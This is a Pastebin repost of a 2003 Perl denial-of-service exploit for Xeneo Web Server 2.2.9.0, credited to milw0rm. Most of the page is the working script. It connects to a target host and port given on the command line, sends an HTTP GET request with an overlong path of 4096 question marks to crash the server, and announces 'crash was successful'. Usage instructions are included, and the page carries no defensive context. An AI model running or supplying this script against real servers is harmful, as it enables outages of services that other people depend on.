Advertisement
FlyFar

Xeneo Web Server 2.2.9.0 - Denial of Service

Jan 24th, 2024
1,078
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.46 KB | Cybersecurity | 0 0
  1. #!/usr/bin/perl
  2. # Xeneo Web Server DoS
  3. #
  4. # Vulnerable systems:
  5. # Xeneo. Web Server 2.2.9.0
  6. #
  7. # Written by badpack3t <badpack3t@security-protocols.com>
  8. # For SP Research Labs
  9. # 04/21/2003
  10. #
  11. # www.security-protocols.com
  12. #
  13. # usage:
  14. # perl sp-xeneo.pl <target> <port>
  15. #
  16.  
  17.  
  18. use IO::Socket;
  19. use strict;
  20.  
  21. print ".:."x 20; print "\nXeneo Web Server 2.2.9.0 DoS, <badpack3t\@security-protocols.com>\n";
  22. print ".:."x 20; print "\n\n";
  23.  
  24. if( !defined( $ARGV[ 0 ] && $ARGV[ 1 ]))
  25. {
  26. &usage;
  27. }
  28.  
  29. my $host = $ARGV[ 0 ];
  30. my $def = "?";
  31. my $num = "4096";
  32. my $port = $ARGV[ 1 ];
  33. my $urfuqed = $def x $num;
  34.  
  35. my $tcpval = getprotobyname( 'tcp' );
  36. my $serverIP = inet_aton( $host );
  37. my $serverAddr = sockaddr_in( $ARGV[ 1 ], $serverIP );
  38. my $protocol_name = "tcp";
  39.  
  40. my $iaddr = inet_aton( $host ) || die ( "host was not found: $host" );
  41. my $paddr = sockaddr_in( $port, $iaddr ) || die ( "you did something wrong stupid... exiting..." );
  42. my $proto = getprotobyname( 'tcp' ) || die ( "cannot get protocol" );
  43. socket( SOCK, PF_INET, SOCK_STREAM, $proto ) || die ( "socket could not open: $host" );
  44. connect( SOCK, $paddr ) || die ( "cannot connect to: $host" );
  45.  
  46. my $submit = "GET /$urfuqed HTTP/1.0\r\n\r\n";
  47. send( SOCK,$submit,0 );
  48. close( SOCK );
  49.  
  50. sub usage
  51. {
  52. die( "\n\nUsage: perl $0 <target_host> <port>\n\n" );
  53. }
  54.  
  55. print "\n.:.:.:.:.:.:.:.:.:.:.:.";
  56. print "\ncrash was successful ~!\n";
  57. print "\.:.:.:.:.:.:.:.:.:.:.:.\n";
  58.  
  59. # milw0rm.com [2003-04-22]
  60.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement